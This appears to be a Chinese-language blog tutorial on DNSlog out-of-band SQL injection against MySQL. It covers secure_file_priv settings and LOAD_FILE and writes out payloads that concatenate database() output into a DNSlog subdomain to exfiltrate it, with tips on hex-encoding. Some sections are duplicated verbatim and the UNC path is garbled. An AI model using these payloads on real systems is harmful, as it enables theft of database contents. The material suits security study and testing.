目录
一、DNS请求注入
1.1、DNSlog平台：
1.2、DNSlog注入原理
二、前提条件：
2.1、简介：
2.2、查看配置：
2.3、配置设置：
2.4、相关函数：
2.5、UNC路径
三、DNSlog注入过程：
3.1、第一步：Get SubDomain 获得域名
3.2、第二步：构造注入语句
3.3、第三步：查看域名头部，带出了查询的信息
四、DNSlongsqlinj工具
一、DNS请求注入
1.1、DNSlog平台：
http://www.dnslog.cn
http://ceye.io
http://admin.dnslog.link
1.2、DNSlog注入原理
dnslog注入也可以称之为dns带外查询，是一种注入姿势，可以通过查询相应的dns解析记录，来获取我们想要的数据
在无法通过联合查询直接获取数据时，只能通过盲注，来一步步的获取数据，手工测试是需要花费大量的时间，使用sqlmap直接去跑出数据，但是有很大的几率，网站把ip给封掉，这就影响了测试进度
二、前提条件：
2.1、简介：
dns带外查询属于MySQL注入
在MySQL中有个系统属性，secure_file_priv特性，有三种状态
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时，表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时，则表示没有任何限制
1.1、DNSlog平台：
http://www.dnslog.cn
http://ceye.io
http://admin.dnslog.link
1.2、DNSlog注入原理
dnslog注入也可以称之为dns带外查询，是一种注入姿势，可以通过查询相应的dns解析记录，来获取我们想要的数据
在无法通过联合查询直接获取数据时，只能通过盲注，来一步步的获取数据，手工测试是需要花费大量的时间，使用sqlmap直接去跑出数据，但是有很大的几率，网站把ip给封掉，这就影响了测试进度
2.1、简介：
dns带外查询属于MySQL注入
在MySQL中有个系统属性，secure_file_priv特性，有三种状态
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时，表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时，则表示没有任何限制
2.2、查看配置：
手动打开数据库，新版phpstudy启动MySQL命令符图解过程https://blog.csdn.net/qq_53079406/article/details/123047469?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165521166116782395352907%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165521166116782395352907&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-123047469-null-null.nonecase&utm_term=%E6%89%8B%E5%8A%A8%E6%89%93%E5%BC%80%E6%95%B0%E6%8D%AE%E5%BA%93&spm=1018.2226.3001.4450
是否配置好，打开数据库
因为我的secure_file_priv设置过，所以没有任何限制
2.3、配置设置：
打开MySQL文件夹，打开my.ini配置文件
把这里改为空，如果没有这一段代码，则手动加上去
然后重启数据库
2.4、相关函数：
LOAD_FILe()函数
读取一个文件并将其内容作为字符串返回
语法：load_file(文件的完整路径）
此函数使用需要满足的条件
文件必须位于服务器主机上，具有该FILE权限才能读取该文件，拥有该FILE权限的用户可以读取服务器主机上的任何文件，该文件是world-readable的或MySQL服务器可读的，此属性与secure_file_priv状态相关，并且它的大小小于max_allowed_packet字节
2.5、UNC路径
格式为
\servernamesharename……
servername 是服务器名，sharename 是共享资源的名称
三、DNSlog注入过程：
3.1、第一步：Get SubDomain 获得域名
3.1、第一步：Get SubDomain 获得域名
3.2、第二步：构造注入语句
（根据实际情况构造）
select load_file(concat('//',(select database()),'.casro0.dnslog.cn/abc'))
select load_file(concat('\\',(select database()),'.casro0.dnslog.cn\123'))
load_file()函数访问的是文件，所以域名后面需要添加/abc
成功注入后，在数据库中运行
3.3、第三步：查看域名头部，带出了查询的信息
注意：外带信息有特殊字符，如@
可以将查询语句后的结果进行转码
即上面的(select database())-------->hex(select database())等形式
四、DNSlongsqlinj工具
ADOOO/DnslogSqlinj (github.com)https://github.com/ADOOO/DnslogSqlinj
